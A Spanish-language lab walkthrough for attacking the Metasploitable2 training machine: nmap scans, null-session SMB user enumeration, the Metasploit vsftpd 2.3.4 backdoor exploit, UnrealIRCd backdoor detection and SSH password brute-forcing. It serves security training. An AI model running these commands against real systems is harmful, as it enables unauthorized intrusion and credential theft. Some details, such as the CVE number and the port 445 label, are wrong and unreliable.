Lo primero que tenemos que hacer es analizar al objetivo con nmap.
Recomendado utilizar los prefijos:

-sS (Escaneo sigiloso sin SYN al final del handshake)
-sV (Para ver la version de los servicios abiertos)
-O  (Para saber el sistema operativo)

nmap -sS -sV -O <IP>

------------------------------------------------------------------------------

Lo siguiente es enumerar los usuarios dentro del sistema, esto se puede
realizar con el comando:

nmap -script smb-enum-users.nse -p 445 <IP>

Este comando utilizar un script (-script) llamado "smb-enum-users.nse"
con el parametro -p (Puerto especifico) y el puerto 445 (microsoft-database)

------------------------------------------------------------------------------

Enumeración de cuentas de usuario a través de sesiones nulas con rpcclient

Rpcclient es una herramienta de Linux utilizada para ejecutar funciones
MS-RPC del lado del cliente. Una sesión nula es una conexión con un servidor
samba o SMB que no requiere autenticación con una contraseña.
No se necesita nombre de usuario o contraseña para configurar la conexión y,
por lo tanto, se denomina sesión nula.

Usamos el comando:

rpcclient -U "" <IP>

El prefijo -U (Define un nombre de usuario)
Luego utilizaremos el comando "querydominfo" para obtener informacion del
sistema como la cantidad de usuarios o WORKGROUP.

Luego usaremos "enumdomusers" para enumerar los usuarios juntos a su rID
y con queryuser <usuario> obtendremos informacion especifica sin administrador

------------------------------------------------------------------------------

Enumeración con enum4linux

Enum4linux se usa para enumerar hosts de Windows y Samba y está escrito en
Perl. La herramienta es básicamente un contenedor para smbclient, rpcclient,
net y nmblookup.

Uso: ./enum4linux.pl [opciones] ip

-U obtener userlist
-M obtener lista de máquinas *
-S obtener sharelist
-P obtener información de la política de contraseñas
-G obtener lista de miembros y grupos
-u usuario especifica el nombre de usuario a usar (por defecto "")
-p pase especificar contraseña para usar (valor predeterminado ""
-a Haga toda la enumeración simple (-U -S -G -P -r -o -n -i).
-o Obtener información del sistema operativo
-i Obtener información de la impresora

Nos brindara mucha informacion sobre el sistema operativo, los usuarios,
los puertos y los servicios, con sus respectivas versiones.

------------------------------------------------------------------------------

 **Antes de continuar con la siguiente Fase es necesario tener la siguiente
   informacion del sistema objetivo.**

- Sistema operativo y su version
- Nombre del servidor
- Numero de cuentas de usuario
- Nombre de la cuenta del administrador
- Fecha de caducidad de la clave de admin (Solo si hay)
- Puertos abiertos, servicios y version
- Servidores Web y base de datos ejecutandose (ej: sql, apache)

------------------------------------------------------------------------------

Vulnerabilidades de VSFTPD v2.3.4 (Servicio ftp en metasploitable2)

Cuando buscamos en Google vulnerabilidades conocidas para este servicio,
aparece una puerta trasera conocida que se introdujo en una descarga del
software en la versión 2.3.4:

A los pocos dias fue eliminado, asi que la mitad de las versiones 2.3.4
incluyen esta backdoor.

Nombre tecnico:
CVE: CVE-2011-02523
OSVDB: 73573

Podriamos simplemente lanzar el exploit y adivinar si es vulnerable o no
o tambien podemos utilizar nmap para analizar y saber previamente si existe
la posibilidad de una backdoor en el sistema de VSFTPD

nmap -script ftp-vsftpd-backdoor -p 21 <IP>

En el caso de metasploitable2 el sistema es vulnerable, solo nos queda usar
metasploit y cargar el CVE-2011-02523, cargar el puerto y la IP y lanzar
el exploit contra la maquina.

use exploit/unix/ftp/vsftpd_234_backdoor
show options
exploit
------------------------------------------------------------------------------

Vulnerabilidades de ircd unreal

Un método común para determinar la versión de un servicio es mediante el uso
de una técnica de captura de pancartas. Netcat es una herramienta que se
puede usar para este propósito.

nc <IP> <Puerto>

En caso de que no obtener nada, simplemente utilizar

nmap -A -p <puerto> <IP>

Al buscar la version encontramos que tiene una puerta trasera. Utilizamos
nmap para verificar.

nmap -sV script irc-unrealircd-backdoor -p <Puerto> <IP>

 _____________________________________________________________________
|PORT    | STATE| SERVICE| VERSION                                    |
|________|______|________|____________________________________________|
|6667/tcp| open | irc    | UnrealIRCd                                 |
|________|______|________|____________________________________________|
|irc-unrealircd-backdoor: Looks like trojaned version of unrealircd   |
|_____________________________________________________________________|
|Service Info: Host: irc.Metasploitable.LAN                           |
|_____________________________________________________________________|


------------------------------------------------------------------------------

Ataque SSH

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

ESTO ES lo que nos brinda nmap tras el analisis al puesto 22. Evidentemente
este es el flag que nos indica la forma en la que debemos atacar.

ssh_login es el objetivo

Module name is auxiliary/scanner/ssh/ssh_login
Module name is auxiliary/scanner/ssh/ssh_login_pubkey

Con ssh_login podremos realizar un ataque de fuerza bruta para probar
diferentes contrasenas.

Colocamos el RHOSTS
Colocamos el diccionario de fuerza bruta (predeterminado de metasploit)

set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

Ejecutamos el ataque.

Private Key ssh_login_pubkey